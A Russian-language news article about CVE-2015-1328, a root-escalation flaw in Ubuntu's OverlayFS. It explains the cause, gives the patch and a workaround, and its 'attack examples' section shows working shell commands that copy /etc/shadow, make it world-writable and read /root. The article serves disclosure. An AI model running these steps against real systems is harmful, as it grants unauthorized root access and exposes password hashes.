Критическая уязвимость в OverlayFS, позволяющая поднять свои привилегии в Ubuntu

В реализации файловой системы OverlayFS выявлена уязвимость (CVE-2015-1328), которую можно использовать для получения root-доступа на системах, в которых разрешено монтирование разделов OverlayFS непривилегированным пользователем. Достаточные для эксплуатации уязвимости настройки по умолчанию применяются во всех поддерживаемых ветках Ubuntu (12.04, 14.04, 14.10 и 15.04).

Разработчики Ubuntu уже оперативно выпустили обновление ядра Linux с исправленным модулем OverlayFS. Подверженность других дистрибутивов данной проблеме пока не подтверждена. В качестве временной меры защиты можно удалить или поместить в чёрный список модуль ядра overlayfs.ko (или overlay.ko).

Уязвимость вызвана некорректной проверкой прав доступа при создании новых файлов в директории нижележащей родительской файловой системы. Если ядро собрано с опцией «CONFIG_USER_NS=y» (включение пользовательских пространств имён) и при монтировании использован флаг FS_USERNS_MOUNT, имеется возможность монтирования OverlayFS обычным пользователем в отдельном пространстве имён, в котором в том числе допускаются операции с правами root, распространяющиеся только на данное пространство имён.

Напомним, что пространства имён для идентификаторов пользователей (user namespaces) позволяют сформировать в контейнерах собственные наборы идентификаторов групп и пользователей, а также связанные с ними привилегии (например, в каждом контейнере/пространстве имён может быть свой root). Например, определённый пользователь может получить в контейнере особенные привилегии, которые отсутствуют у него вне контейнера, или процесс внутри контейнера может получить права root, но остаться непривилегированным вне контейнера.

Суть проблемы в том, что привилегированные операции с файлами, выполненные в созданном пространстве имён, при использовании раздела OverlayFS остаются привилегированными и при выполнении действий с нижележащей ФС. Например, можно подключить в OverlayFS системный раздел /etc и модифицировать файл с паролями, посмотреть/заменить содержимое любых закрытых директорий и файлов. Опасность проблемы продемонстрирована готовым эксплоитом, позволяющим запустить shell с правами root через создание доступного на запись файла /etc/ld.so.preload.

Примеры атак.

Создадим полную копию файла /etc/shadow (в примерах под пользователем root подразумевается суперпользователь в пространстве имён, созданном обычным пользователем)

   $ ./create-namespace
   # mount -t overlay -o lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
   # chmod 777 work/work/
   # cd o
   # mv shadow copy_of_shadow
   (выход из созданного namespace)

   $ ls -al upper/copy_of_shadow
   -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
   $ stat upper/copy_of_shadow    /etc/shadow|grep Inode
   Device: 801h/2049d      Inode: 939791      Links: 1
   Device: 801h/2049d      Inode: 277668      Links: 1

Поменяем права на файл и вернём его в директорию /etc (/etc монтируем как upperdir, а ранее созданную директорию как lowerdir, т.е. меняем upperdir и lowerdir местами):

   $ ./create-namespace
   # mount -t overlay -o lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
   # chmod 777 work/work/
   # cd o
   # chmod 777 copy_of_shadow
   ~/o# exit
   ~$ ls -al /etc/copy_of_shadow
-rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow

Посмотрим содержимое директории /root:

   $ ls -al /root
   ls: cannot open directory /root: Permission denied
   $ mkdir o upper work
   $ mount -t overlayfs -o
lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
overlayfs /home/user/o
   $ ls -al o 2/dev/null
   total 8
   drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
   drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
   -????????? ? ?    ?          ?            ? .bash_history
   -????????? ? ?    ?          ?            ? .bashrc
   d????????? ? ?    ?          ?            ? .cache
   -????????? ? ?    ?          ?            ? .lesshst
   d????????? ? ?    ?          ?            ? linux-3.19.0

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.